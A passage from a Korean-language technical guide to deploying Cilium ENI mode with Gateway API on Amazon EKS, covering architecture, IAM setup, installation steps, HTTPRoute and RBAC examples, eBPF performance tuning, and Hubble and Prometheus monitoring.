NLB->>TPROXY: 헬스체크 기반 노드 선택
Note over C,POD: 2. 투명 프록시 (XDP)
TPROXY->>TPROXY: eBPF 프로그램 실행
연결 추적 맵 업데이트
TPROXY->>ENVOY: 로컬 Envoy로 리다이렉트
Note over C,POD: 3. L7 라우팅
C->>ENVOY: HTTP/2 GET /api/users
ENVOY->>ENVOY: HTTPRoute 매칭
헤더 검증
rate limit 확인
Note over C,POD: 4. 네이티브 라우팅
ENVOY->>POD: 직접 ENI IP로 전달
(오버레이 없음)
POD-->>ENVOY: HTTP 200 OK
ENVOY-->>C: 응답 전송
Note over TPROXY,POD: Hubble이 모든 단계 관측
```
**단계 1: L4 로드밸런싱 (NLB)**
- 클라이언트의 TCP 연결 요청을 수신
- Target Group의 헬스체크 상태를 기반으로 정상 노드 선택
- Flow Hash 알고리즘으로 연결 고정성 유지 (5-tuple 기반)
**단계 2: 투명 프록시 (eBPF TPROXY)**
- XDP 훅에서 패킷을 가로채고 연결 추적 맵 조회
- 신규 연결인 경우 로컬 Envoy 리스너로 투명하게 리다이렉트
- 기존 연결인 경우 맵에서 목적지 정보를 읽어 빠른 전달
- 모든 처리가 커널 공간에서 완료되어 컨텍스트 스위칭 없음
**단계 3: L7 라우팅 (Cilium Envoy)**
- HTTP/2 프로토콜 파싱 및 요청 헤더 추출
- HTTPRoute 규칙 매칭 (경로, 헤더, 쿼리 파라미터)
- 요청 변환 (URL rewrite, 헤더 추가/제거)
- rate limiting, 인증/인가 정책 적용
**단계 4: 네이티브 라우팅**
- 백엔드 파드의 ENI IP 주소로 직접 전달
- VXLAN/Geneve 캡슐화 없이 VPC 라우팅 테이블 사용
- EC2 인스턴스의 소스/대상 확인 비활성화 필요 없음
- 응답 패킷도 동일한 경로로 역방향 전달
:::info
이 아키텍처에서 Cilium Envoy는 Gateway API의 `GatewayClass` 구현체 역할을 수행합니다. `HTTPRoute` 리소스의 변경사항은 Cilium Operator가 감지하여 각 노드의 Envoy 구성을 동적으로 업데이트합니다.
:::
## 3. 사전 요구사항
Cilium ENI 모드를 성공적으로 배포하기 위해서는 다음 요구사항을 충족해야 합니다.
### EKS 클러스터 요구사항
:::warning
신규 클러스터를 생성할 때 반드시 `--bootstrapSelfManagedAddons false` 플래그를 사용해야 합니다. 이를 통해 AWS VPC CNI가 자동 설치되지 않으며, Cilium을 클린하게 배포할 수 있습니다.
기존 클러스터에서는 VPC CNI를 제거하는 과정에서 파드 네트워크 연결이 끊기므로, **다운타임을 감수해야 합니다**.
:::
### VPC/서브넷 요구사항
**IP 주소 가용성**
ENI 모드에서는 각 파드가 VPC의 실제 IP 주소를 사용하므로, 충분한 IP 주소 공간이 필요합니다.
```bash
# 필요한 IP 주소 수 계산 공식
총_필요_IP = (워커노드수 × 노드당_최대파드수) + 여유분(20%)
# 예시: 10개 노드, 노드당 최대 110개 파드
# 총 필요 IP = (10 × 110) × 1.2 = 1,320개
# 권장 서브넷: /21 (2,048개 IP) 이상
```
**서브넷 구성**
- 각 가용 영역(AZ)별로 최소 1개의 서브넷 필요
- 서브넷 태그 필수:
```
kubernetes.io/role/internal-elb = 1
kubernetes.io/cluster/<클러스터명> = shared
```
- Public/Private 서브넷 모두 사용 가능
- Private 서브넷 권장 (보안 강화)
**VPC 설정**
- DNS 호스트 이름 활성화: `enableDnsHostnames: true`
- DNS 지원 활성화: `enableDnsSupport: true`
- DHCP 옵션 세트에 올바른 도메인 이름 설정
### IAM 권한
Cilium Operator와 Node가 ENI를 관리하기 위해서는 다음 IAM 권한이 필요합니다.
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"ec2:CreateNetworkInterface",
"ec2:AttachNetworkInterface",
"ec2:DeleteNetworkInterface",
"ec2:DetachNetworkInterface",
"ec2:DescribeNetworkInterfaces",
"ec2:DescribeInstances",
"ec2:ModifyNetworkInterfaceAttribute",
"ec2:AssignPrivateIpAddresses",
"ec2:UnassignPrivateIpAddresses",
"ec2:DescribeSubnets",
"ec2:DescribeSecurityGroups",
"ec2:CreateTags"
],
"Resource": "*"
}
]
}
```
**IRSA (IAM Roles for Service Accounts) 구성**
```bash
# Cilium Operator용 IAM 역할 생성
eksctl create iamserviceaccount \
--name cilium-operator \
--namespace kube-system \
--cluster <클러스터명> \
--role-name CiliumOperatorRole \
--attach-policy-arn arn:aws:iam::aws:policy/AmazonEKS_CNI_Policy \
--approve
# 추가 인라인 정책 연결
aws iam put-role-policy \
--role-name CiliumOperatorRole \
--policy-name CiliumENIPolicy \
--policy-document file://cilium-eni-policy.json
```
**노드 IAM 역할에 권한 추가**
```bash
# 노드 그룹의 IAM 역할 ARN 확인
NODE_ROLE=$(aws eks describe-nodegroup \
--cluster-name <클러스터명> \
--nodegroup-name <노드그룹명> \
--query 'nodegroup.nodeRole' \
--output text)
# 정책 연결
aws iam attach-role-policy \
--role-name $(echo $NODE_ROLE | cut -d'/' -f2) \
--policy-arn arn:aws:iam::aws:policy/AmazonEKS_CNI_Policy
```
:::tip EKS Auto Mode와 Cilium 관계
**EKS Auto Mode** (2024년 12월 GA)는 노드 프로비저닝, 컴퓨팅 용량 관리, 보안 패치를 자동화하는 EKS의 새로운 운영 모드입니다.
**Cilium과의 호환성:**
- ✅ **호환 가능**: EKS Auto Mode는 CNI 플러그인 선택을 제한하지 않음
- ✅ **Karpenter 통합**: Auto Mode의 노드 프로비저닝은 Karpenter 기반이므로, Cilium ENI 모드와 자연스럽게 통합
- ⚠️ **주의사항**: Auto Mode에서는 `--bootstrapSelfManagedAddons false` 플래그가 기본값이므로, VPC CNI 충돌 없음
- 📊 **모니터링**: Auto Mode의 관리형 모니터링은 Hubble 메트릭과 병행 사용 가능
**권장 사항:**
- 신규 프로젝트: EKS Auto Mode + Cilium ENI 조합 권장
- 기존 클러스터: 수동 관리에서 Auto Mode로 마이그레이션 시 Cilium 재배포 불필요
:::
## 4. 설치 흐름
Cilium ENI 모드의 설치 방법은 클러스터가 신규인지 기존인지에 따라 다릅니다.
### 신규 클러스터 (권장)
신규 클러스터에서는 VPC CNI가 설치되지 않은 상태에서 Cilium을 배포하므로 다운타임 없이 클린한 설치가 가능합니다.
**Step 1: EKS 클러스터 생성 (VPC CNI 비활성화)**
```bash
# eksctl을 사용한 클러스터 생성
cat < cluster-config.yaml
apiVersion: eksctl.io/v1alpha5
kind: ClusterConfig
metadata:
name: cilium-gateway-cluster
region: ap-northeast-2
version: "1.32"
vpc:
cidr: 10.0.0.0/16
nat:
gateway: HighlyAvailable # NAT Gateway 다중화
# VPC CNI 자동 설치 비활성화 (핵심!)
addonsConfig:
autoApplyPodIdentityAssociations: false
managedNodeGroups:
- name: ng-1
instanceType: m7g.xlarge
desiredCapacity: 3
minSize: 3
maxSize: 10
volumeSize: 100
privateNetworking: true
iam:
withAddonPolicies:
autoScaler: true
albIngress: true
cloudWatch: true
labels:
role: worker
tags:
nodegroup-name: ng-1
# kube-proxy 비활성화 (Cilium이 대체)
kubeProxy:
disable: true
EOF
# 클러스터 생성 (10-15분 소요)
eksctl create cluster -f cluster-config.yaml --bootstrapSelfManagedAddons false
```
:::warning
`--bootstrapSelfManagedAddons false` 플래그를 **반드시** 포함해야 합니다. 이 플래그가 없으면 VPC CNI가 자동 설치되어 Cilium과 충돌합니다.
:::
**Step 2: Gateway API CRDs 설치**
```bash
# Gateway API v1.5.1 표준 CRDs 설치
kubectl apply -f https://github.com/kubernetes-sigs/gateway-api/releases/download/v1.5.1/standard-install.yaml
# 설치 확인
kubectl get crd | grep gateway
```
**출력 예시:**
```
gatewayclasses.gateway.networking.k8s.io 2026-02-12T00:00:00Z
gateways.gateway.networking.k8s.io 2026-02-12T00:00:00Z
httproutes.gateway.networking.k8s.io 2026-02-12T00:00:00Z
referencegrants.gateway.networking.k8s.io 2026-02-12T00:00:00Z
```
**Step 3: Cilium Helm 저장소 추가**
```bash
helm repo add cilium https://helm.cilium.io/
helm repo update
```
**Step 4: Cilium Helm 설치**
```yaml
# cilium-values.yaml
# ENI 모드 활성화
eni:
enabled: true
awsEnablePrefixDelegation: true # /28 Prefix Delegation
awsReleaseExcessIPs: true # 미사용 IP 자동 해제
updateEC2AdapterLimitViaAPI: true
iamRole: "arn:aws:iam::123456789012:role/CiliumOperatorRole"
# IPAM 모드를 ENI로 설정
ipam:
mode: "eni"
operator:
clusterPoolIPv4PodCIDRList:
- 10.0.0.0/16 # VPC CIDR과 동일
# 네이티브 라우팅 활성화
routingMode: native
autoDirectNodeRoutes: true
ipv4NativeRoutingCIDR: 10.0.0.0/16
# kube-proxy 대체
kubeProxyReplacement: true
k8sServiceHost: # EKS API 서버 주소
k8sServicePort: 443
# Gateway API 활성화
gatewayAPI:
enabled: true
hostNetwork:
enabled: false # NLB 사용 시 false
# Hubble 관측성
hubble:
enabled: true
relay:
enabled: true
replicas: 2
ui:
enabled: true
replicas: 1
ingress:
enabled: false # 별도 HTTPRoute로 노출
metrics:
enabled:
- dns
- drop
- tcp
- flow
- port-distribution
- icmp
- httpV2:exemplars=true;labelsContext=source_ip,source_namespace,source_workload,destination_ip,destination_namespace,destination_workload,traffic_direction
# Operator 고가용성
operator:
replicas: 2
rollOutPods: true
prometheus:
enabled: true
serviceMonitor:
enabled: true
# Agent 설정
prometheus:
enabled: true
serviceMonitor:
enabled: true
# 보안 강화
policyEnforcementMode: "default"
encryption:
enabled: false # AWS VPC 자체 암호화 사용 시 비활성화
type: wireguard # 필요 시 WireGuard 활성화
# 성능 최적화
bpf:
preallocateMaps: true
mapDynamicSizeRatio: 0.0025 # 메모리의 0.25% 사용
monitorAggregation: medium
lbMapMax: 65536 # 로드밸런서 맵 크기
# Maglev 로드밸런싱
loadBalancer:
algorithm: maglev
mode: dsr
# XDP 가속 (지원 NIC 필요)
enableXDPPrefilter: true
```
```bash
# EKS API 서버 엔드포인트 가져오기
API_SERVER=$(aws eks describe-cluster \
--name cilium-gateway-cluster \
--query 'cluster.endpoint' \
--output text | sed 's/https:\/\///')
# Helm 차트 설치
helm install cilium cilium/cilium \
--version 1.19.0 \
--namespace kube-system \
--values cilium-values.yaml \
--set k8sServiceHost=${API_SERVER} \
--wait
```
**Step 5: CoreDNS 설치**
Cilium 설치 시 kube-proxy를 비활성화했으므로, CoreDNS가 아직 없을 수 있습니다.
```bash
# CoreDNS 배포
kubectl apply -f https://raw.githubusercontent.com/cilium/cilium/v1.17/examples/kubernetes/addons/coredns/coredns.yaml
# CoreDNS 파드 확인
kubectl get pods -n kube-system -l k8s-app=kube-dns
```
**Step 6: 설치 검증**
```bash
# Cilium CLI 설치 (macOS)
brew install cilium-cli
# 또는 Linux/macOS 공통
CILIUM_CLI_VERSION=$(curl -s https://raw.githubusercontent.com/cilium/cilium-cli/main/stable.txt)
curl -L --remote-name-all https://github.com/cilium/cilium-cli/releases/download/${CILIUM_CLI_VERSION}/cilium-linux-amd64.tar.gz{,.sha256sum}
sudo tar xzvfC cilium-linux-amd64.tar.gz /usr/local/bin
rm cilium-linux-amd64.tar.gz{,.sha256sum}
# Cilium 상태 확인 (최대 5분 대기)
cilium status --wait
# 연결성 테스트 (약 2-3분 소요)
cilium connectivity test
```
**정상 출력 예시:**
```
/¯¯\
/¯¯\__/¯¯\ Cilium: OK
\__/¯¯\__/ Operator: OK
/¯¯\__/¯¯\ Envoy DaemonSet: OK
\__/¯¯\__/ Hubble Relay: OK
\__/ ClusterMesh: disabled
DaemonSet cilium Desired: 3, Ready: 3/3, Available: 3/3
Deployment cilium-operator Desired: 2, Ready: 2/2, Available: 2/2
Deployment hubble-relay Desired: 2, Ready: 2/2, Available: 2/2
Containers: cilium Running: 3
cilium-operator Running: 2
hubble-relay Running: 2
```
**Step 7: Gateway 리소스 생성**
```yaml
# gateway-resources.yaml
---
apiVersion: gateway.networking.k8s.io/v1
kind: GatewayClass
metadata:
name: cilium
spec:
controllerName: io.cilium/gateway-controller
---
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
name: cilium-gateway
namespace: default
annotations:
# NLB 생성 어노테이션
service.beta.kubernetes.io/aws-load-balancer-type: "nlb"
service.beta.kubernetes.io/aws-load-balancer-scheme: "internet-facing"
service.beta.kubernetes.io/aws-load-balancer-backend-protocol: "tcp"
service.beta.kubernetes.io/aws-load-balancer-cross-zone-load-balancing-enabled: "true"
service.beta.kubernetes.io/aws-load-balancer-nlb-target-type: "ip" # ENI IP 직접 사용
spec:
gatewayClassName: cilium
listeners:
- name: http
protocol: HTTP
port: 80
allowedRoutes:
namespaces:
from: All
- name: https
protocol: HTTPS
port: 443
allowedRoutes:
namespaces:
from: All
tls:
mode: Terminate
certificateRefs:
- kind: Secret
name: tls-cert
---
apiVersion: v1
kind: Secret
metadata:
name: tls-cert
namespace: default
type: kubernetes.io/tls
stringData:
tls.crt: |
-----BEGIN CERTIFICATE-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AEXAMPLECERTIFICATE
-----END CERTIFICATE-----
tls.key: |
-----BEGIN EC PARAMETERS-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AEXAMPLEKEYDATA
-----END EC PARAMETERS-----
```
```bash
# Gateway 배포
kubectl apply -f gateway-resources.yaml
# Gateway 상태 확인
kubectl get gateway cilium-gateway -o yaml
```
**Gateway 준비 완료 상태:**
```yaml
status:
conditions:
- type: Accepted
status: "True"
reason: Accepted
- type: Programmed
status: "True"
reason: Programmed
addresses:
- type: IPAddress
value: "a1234567890abcdef.elb.ap-northeast-2.amazonaws.com"
```
### 기존 클러스터 (다운타임 발생)
기존 클러스터에서는 VPC CNI를 제거하고 Cilium으로 교체하는 과정에서 파드 네트워크가 일시적으로 끊깁니다.
:::danger 다운타임 경고
이 프로세스는 **전체 클러스터의 파드 네트워크를 중단**시킵니다. 프로덕션 환경에서는 블루-그린 클러스터 전환 또는 유지보수 창(maintenance window) 설정을 강력히 권장합니다.
예상 다운타임: **5-10분** (클러스터 크기에 따라 변동)
:::
**Step 1: 백업 수행**
```bash
# 현재 네트워크 구성 백업
kubectl get -A pods -o yaml > backup-pods.yaml
kubectl get -A services -o yaml > backup-services.yaml
kubectl get -A ingress -o yaml > backup-ingress.yaml
# VPC CNI 구성 백업
kubectl get daemonset aws-node -n kube-system -o yaml > backup-aws-node.yaml
```
**Step 2: VPC CNI 제거**
```bash
# aws-node DaemonSet 삭제
kubectl delete daemonset aws-node -n kube-system
# kube-proxy 삭제 (Cilium이 대체)
kubectl delete daemonset kube-proxy -n kube-system
```
**Step 3: 노드 테인트 추가 (선택적, 안전장치)**
```bash
# 모든 노드에 NoSchedule 테인트 추가
kubectl get nodes -o name | xargs -I {} kubectl taint node {} key=value:NoSchedule
```
**Step 4: Cilium 설치 (신규 클러스터와 동일)**
위의 "신규 클러스터" 섹션의 Step 2-7을 동일하게 수행합니다.
**Step 5: 파드 재시작**
```bash
# 모든 네임스페이스의 파드 재시작 (Rolling Restart)
kubectl get namespaces -o jsonpath='{.items[*].metadata.name}' | \
xargs -n1 -I {} kubectl rollout restart deployment -n {}
# DaemonSet도 재시작
kubectl get daemonsets -A -o jsonpath='{range .items[*]}{.metadata.namespace}{" "}{.metadata.name}{"\n"}{end}' | \
while read ns ds; do
kubectl rollout restart daemonset $ds -n $ns
done
```
**Step 6: 네트워크 검증**
```bash
# 파드 간 통신 테스트
kubectl run test-pod --image=nicolaka/netshoot --rm -it -- /bin/bash
# 파드 내에서:
ping 10.0.1.10 # 다른 파드의 ENI IP
curl http://kubernetes.default.svc.cluster.local
# DNS 해석 테스트
nslookup kubernetes.default.svc.cluster.local
# 외부 통신 테스트
curl https://www.google.com
```
## 5. Gateway API 리소스 구성
Cilium Gateway API를 활용한 실전 라우팅 구성 예시입니다.
### 기본 HTTPRoute
```yaml
# basic-httproute.yaml
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: example-route
namespace: production
spec:
parentRefs:
- name: cilium-gateway
namespace: default
hostnames:
- "api.example.com"
rules:
- matches:
- path:
type: PathPrefix
value: /api/v1
backendRefs:
- name: api-service
port: 8080
weight: 100
filters:
- type: RequestHeaderModifier
requestHeaderModifier:
add:
- name: X-Backend-Version
value: "v1"
```
### 트래픽 분할 (Canary Deployment)
```yaml
# canary-httproute.yaml
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: canary-route
namespace: production
spec:
parentRefs:
- name: cilium-gateway
namespace: default
hostnames:
- "api.example.com"
rules:
- matches:
- path:
type: PathPrefix
value: /api/v2
backendRefs:
- name: api-v2-stable
port: 8080
weight: 90 # 90% 트래픽
- name: api-v2-canary
port: 8080
weight: 10 # 10% 트래픽
```
### 헤더 기반 라우팅
```yaml
# header-based-route.yaml
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: header-route
namespace: production
spec:
parentRefs:
- name: cilium-gateway
hostnames:
- "api.example.com"
rules:
# 베타 사용자는 새 버전으로 라우팅
- matches:
- headers:
- type: Exact
name: X-User-Type
value: beta
backendRefs:
- name: api-v2-beta
port: 8080
# 일반 사용자는 안정 버전으로 라우팅
- matches:
- path:
type: PathPrefix
value: /
backendRefs:
- name: api-v1-stable
port: 8080
```
### URL Rewrite
```yaml
# url-rewrite-route.yaml
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: rewrite-route
namespace: production
spec:
parentRefs:
- name: cilium-gateway
hostnames:
- "api.example.com"
rules:
- matches:
- path:
type: PathPrefix
value: /old-api
filters:
- type: URLRewrite
urlRewrite:
path:
type: ReplacePrefixMatch
replacePrefixMatch: /new-api
backendRefs:
- name: new-api-service
port: 8080
```
### 역할 분리 적용 가이드
Gateway API의 핵심 장점인 역할 분리를 Cilium에서 구현하는 방법입니다.
```yaml
# role-separation-example.yaml
# 1. 플랫폼 팀: GatewayClass 관리 (cluster-admin)
---
apiVersion: gateway.networking.k8s.io/v1
kind: GatewayClass
metadata:
name: production-gateway
spec:
controllerName: io.cilium/gateway-controller
parametersRef:
group: ""
kind: ConfigMap
name: gateway-config
namespace: kube-system
---
# 플랫폼 팀: Gateway 인프라 관리 (infra 네임스페이스)
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
name: shared-gateway
namespace: infra
annotations:
service.beta.kubernetes.io/aws-load-balancer-type: "nlb"
service.beta.kubernetes.io/aws-load-balancer-nlb-target-type: "ip"
spec:
gatewayClassName: production-gateway
listeners:
- name: https
protocol: HTTPS
port: 443
allowedRoutes:
namespaces:
from: All # 모든 네임스페이스에서 연결 가능
tls:
mode: Terminate
certificateRefs:
- kind: Secret
name: wildcard-tls-cert
namespace: infra
---
# 2. 개발 팀 A: HTTPRoute 관리 (team-a 네임스페이스)
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: team-a-route
namespace: team-a
spec:
parentRefs:
- name: shared-gateway
namespace: infra # 크로스 네임스페이스 참조
hostnames:
- "team-a.example.com"
rules:
- matches:
- path:
type: PathPrefix
value: /
backendRefs:
- name: team-a-service
port: 8080
---
# 3. 개발 팀 B: HTTPRoute 관리 (team-b 네임스페이스)
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: team-b-route
namespace: team-b
spec:
parentRefs:
- name: shared-gateway
namespace: infra
hostnames:
- "team-b.example.com"
rules:
- matches:
- path:
type: PathPrefix
value: /
backendRefs:
- name: team-b-service
port: 9090
---
# 크로스 네임스페이스 참조 허용 (플랫폼 팀이 생성)
apiVersion: gateway.networking.k8s.io/v1beta1
kind: ReferenceGrant
metadata:
name: allow-team-routes
namespace: infra
spec:
from:
- group: gateway.networking.k8s.io
kind: HTTPRoute
namespace: team-a
- group: gateway.networking.k8s.io
kind: HTTPRoute
namespace: team-b
to:
- group: gateway.networking.k8s.io
kind: Gateway
name: shared-gateway
```
**RBAC 설정:**
```yaml
# rbac-platform-team.yaml
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: gateway-infrastructure-admin
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["gatewayclasses", "gateways"]
verbs: ["create", "delete", "get", "list", "patch", "update", "watch"]
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: platform-team-gateway
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: gateway-infrastructure-admin
subjects:
- kind: Group
name: platform-team
apiGroup: rbac.authorization.k8s.io
---
# rbac-dev-team.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: httproute-manager
namespace: team-a
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["httproutes"]
verbs: ["create", "delete", "get", "list", "patch", "update", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: team-a-httproute
namespace: team-a
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: httproute-manager
subjects:
- kind: Group
name: team-a-developers
apiGroup: rbac.authorization.k8s.io
```
## 6. 성능 최적화
Cilium ENI 모드에서 최대 성능을 달성하기 위한 튜닝 방법입니다.
### NLB + Cilium Envoy 조합 이점
```mermaid
graph TB
subgraph "Traditional ALB"
ALB[ALB L7
~10ms latency]
ALB --> TARGET1[Target Group]
TARGET1 --> NGINX1[NGINX Ingress
~5ms latency]
NGINX1 --> POD1[Pod]
style ALB fill:#FF9900
style NGINX1 fill:#009639
end
subgraph "NLB + Cilium"
NLB[NLB L4
~0.4ms latency]
NLB --> TPROXY[eBPF TPROXY
~0.1ms latency]
TPROXY --> ENVOY[Cilium Envoy
~3ms latency]
ENVOY --> POD2[Pod]
style NLB fill:#FF9900
style TPROXY fill:#00D4AA
style ENVOY fill:#AC58E6
end
CLIENT[Client] --> ALB
CLIENT --> NLB
LATENCY1[Total: ~15ms]
LATENCY2[Total: ~3.5ms]
POD1 -.-> LATENCY1
POD2 -.-> LATENCY2
style LATENCY2 fill:#4CAF50
style LATENCY1 fill:#FFC107
```
**레이턴시 비교:**
### ENI/IP 관리 최적화
**Prefix Delegation 활성화**
단일 IP 할당 대신 /28 블록(16개 IP)을 한 번에 할당받아 ENI 어태치 오버헤드를 줄입니다.
```yaml
# cilium-values.yaml (ENI 섹션)
eni:
awsEnablePrefixDelegation: true
# 미사용 IP 초과분 자동 해제 (비용 절감)
awsReleaseExcessIPs: true
# 노드당 최소 예약 IP 수
minAllocate: 10
# 사전 할당 IP 수 (파드 스케일 아웃 대비)
preAllocate: 8
```
**효과:**
- ENI 어태치 횟수 최대 16배 감소
- 파드 시작 시간 30-50% 단축
- AWS API 호출 횟수 감소 (Rate Limiting 회피)
**인스턴스 타입별 ENI/IP 한도 확인:**
```bash
# AWS CLI로 한도 조회
aws ec2 describe-instance-types \
--instance-types m7g.xlarge \
--query 'InstanceTypes[0].NetworkInfo.{MaxENI:MaximumNetworkInterfaces,IPv4PerENI:Ipv4AddressesPerInterface}'
# 출력 예시:
# {
# "MaxENI": 4,
# "IPv4PerENI": 15
# }
# Prefix Delegation 사용 시: 4 ENI × 16 IP/Prefix = 최대 64개 파드
```
### BPF 튜닝
**맵 사전 할당 활성화**
eBPF 맵을 동적 할당 대신 시작 시 사전 할당하여 레이턴시 지터를 제거합니다.
```yaml
# cilium-values.yaml
bpf:
preallocateMaps: true # 맵 사전 할당
# 맵 크기 조정 (기본값의 2배)
lbMapMax: 65536 # 로드밸런서 백엔드 최대 수
natMax: 524288 # NAT 연결 추적 최대 수
neighMax: 524288 # 이웃 테이블 최대 수
policyMapMax: 16384 # 정책 엔트리 최대 수
# 모니터 집계 레벨 (CPU 사용량 vs 가시성)
monitorAggregation: medium # none, low, medium, maximum
# CT 테이블 크기 (Connection Tracking)
ctTcpMax: 524288
ctAnyMax: 262144
```
**메모리 사용량 계산:**
```bash
# 예상 메모리 사용량 = (맵 크기 × 엔트리 크기) 합계
# lbMapMax (65536 × 128B) = 8MB
# natMax (524288 × 64B) = 32MB
# 총 예상 메모리: ~100-200MB/노드
```
### 라우팅 최적화
**Maglev 로드밸런싱 알고리즘**
구글이 개발한 일관된 해싱 기반 로드밸런싱으로, 백엔드 변경 시에도 연결 고정성을 최대한 유지합니다.
```yaml
# cilium-values.yaml
loadBalancer:
algorithm: maglev # 기본값: random
mode: dsr # Direct Server Return
# Maglev 테이블 크기 (소수여야 함)
maglev:
tableSize: 65521 # 권장: 65521 (소수)
hashSeed: "JLfvgnHc2kaSUFaI" # 클러스터별 고유 시드
```
**알고리즘 비교:**
**XDP 가속 (eXpress Data Path)**
네트워크 드라이버 레벨에서 패킷을 처리하여 커널 네트워크 스택을 완전히 우회합니다.
```yaml
# cilium-values.yaml
# XDP 프리필터 활성화 (DDoS 방어, 잘못된 패킷 조기 드롭)
enableXDPPrefilter: true
# XDP 모드 선택
xdp:
mode: native # native(최고 성능) 또는 generic(호환성)
```
**XDP 지원 확인:**
```bash
# 노드에서 실행
ethtool -i eth0 | grep driver
# 지원 드라이버: ixgbe, i40e, mlx4, mlx5, ena (AWS Nitro)
# XDP 활성화 확인
ip link show eth0 | grep xdp
```
**성능 향상:**
- 패킷 필터링 성능 10배 이상 향상
- DDoS 방어 시 CPU 사용량 80% 감소
- AWS ENA 드라이버 (Nitro 인스턴스)에서 완벽 지원
### 인스턴스 타입 고려사항
**네트워크 성능 우선 인스턴스 추천:**
**Graviton4 (8g 시리즈) 선택 이유:**
- x86 대비 40% 가격 대비 성능 향상
- 60% 에너지 효율 개선
- eBPF JIT 최적화
- Cilium과 완벽한 호환성
- Graviton5 (M9g/M9gd, 2026년 6월 GA): M8g 대비 ~25% 성능 향상
**Network Optimized (n 시리즈) 선택 기준:**
- Gateway 노드 전용으로 사용
- 초당 10만 RPS 이상 트래픽
- 레이턴시 1ms 미만 요구사항
:::tip
Gateway 전용 노드 그룹을 별도로 구성하여 `c7gn` 시리즈를 사용하고, 일반 워크로드는 `m7g` 시리즈를 사용하는 하이브리드 구성을 권장합니다.
```yaml
# nodeSelector 예시
nodeSelector:
role: gateway
instance-type: c7gn.xlarge
```
:::
## 7. 운영 및 관측성
Cilium의 강력한 관측성 도구인 Hubble을 활용한 운영 가이드입니다.
### Hubble 관측성
**실시간 플로우 관측**
```bash
# Hubble CLI 설치
brew install hubble
# 또는 직접 다운로드
HUBBLE_VERSION=$(curl -s https://raw.githubusercontent.com/cilium/hubble/master/stable.txt)
curl -L --remote-name-all https://github.com/cilium/hubble/releases/download/$HUBBLE_VERSION/hubble-linux-amd64.tar.gz{,.sha256sum}
sudo tar xzvfC hubble-linux-amd64.tar.gz /usr/local/bin
# 포트 포워딩 설정
cilium hubble port-forward &
# 실시간 플로우 스트림 (모든 네임스페이스)
hubble observe --all
# 특정 파드의 플로우만 필터링
hubble observe --pod default/frontend-5d5c7b6d8-abc12
# HTTP 트래픽만 필터링
hubble observe --protocol http
# Drop된 패킷 모니터링
hubble observe --verdict DROPPED
# 특정 네임스페이스 간 트래픽
hubble observe --from-namespace production --to-namespace database
```
**출력 예시:**
```
Feb 12 10:23:45.123: default/frontend-abc12:8080 -> default/backend-xyz34:9090 http-request FORWARDED (HTTP/2 GET /api/users)
Feb 12 10:23:45.127: default/backend-xyz34:9090 <- default/frontend-abc12:8080 http-response FORWARDED (HTTP/2 200 4.2ms)
Feb 12 10:23:45.130: default/frontend-abc12 -> 8.8.8.8:53 dns-request FORWARDED (A query example.com)
Feb 12 10:23:45.145: 8.8.8.8:53 -> default/frontend-abc12 dns-response FORWARDED (A 93.184.216.34)
```
**서비스 맵 생성**
```bash
# 서비스 의존성 맵 생성 (GraphViz 형식)
hubble observe --all --output jsonpb | \
hubble-flow-graph > service-map.dot
# PNG 이미지로 변환
dot -Tpng service-map.dot -o service-map.png
# 실시간 Web UI 접근
cilium hubble ui
# 브라우저에서 http://localhost:12000 접속
```
**L7 프로토콜 가시성**
```bash
# HTTP 메서드별 통계
hubble observe --protocol http --output json | \
jq -r '.l7.http.method' | \
sort | uniq -c | sort -rn
# HTTP 응답 코드 분포
hubble observe --protocol http --output json | \
jq -r '.l7.http.code' | \
sort | uniq -c | sort -rn
# gRPC 메서드 호출 추적
hubble observe --protocol grpc
# Kafka 토픽 트래픽
hubble observe --protocol kafka
```
### Prometheus 메트릭
**Agent 메트릭 (각 노드별)**
```promql
# 초당 처리 패킷 수
rate(cilium_forward_count_total[5m])
# Drop된 패킷 비율
rate(cilium_drop_count_total[5m]) / rate(cilium_forward_count_total[5m])
# eBPF 맵 사용률
cilium_bpf_map_ops_total
# NAT 테이블 사용률
cilium_nat_max_entries_used / cilium_nat_max_entries_total * 100
# 노드 간 레이턴시 (P99)
histogram_quantile(0.99, rate(cilium_network_round_trip_time_seconds_bucket[5m]))
```
**Gateway 메트릭 (Envoy)**
```promql
# 초당 요청 수 (RPS)
rate(envoy_http_downstream_rq_total{envoy_cluster_name="cilium-gateway"}[5m])
# 응답 레이턴시 P95
histogram_quantile(0.95, rate(envoy_http_downstream_rq_time_bucket[5m]))
# 5xx 에러율
sum(rate(envoy_http_downstream_rq_xx{envoy_response_code_class="5"}[5m]))
/
sum(rate(envoy_http_downstream_rq_xx[5m]))
# 백엔드 연결 실패
rate(envoy_cluster_upstream_cx_connect_fail[5m])
# 활성 연결 수
envoy_http_downstream_cx_active
```
**ENI 메트릭**
```promql
# 노드별 사용 중인 ENI 수
cilium_operator_eni_attached
# 사용 가능한 IP 주소 수
cilium_operator_eni_available_ips
# IP 할당 속도
rate(cilium_operator_eni_ip_allocations[5m])
# ENI 할당 에러
rate(cilium_operator_eni_allocation_errors[5m])
```
### Grafana 대시보드
**공식 대시보드 가져오기**
```bash
# Cilium 공식 대시보드 (Grafana ID: 16611)
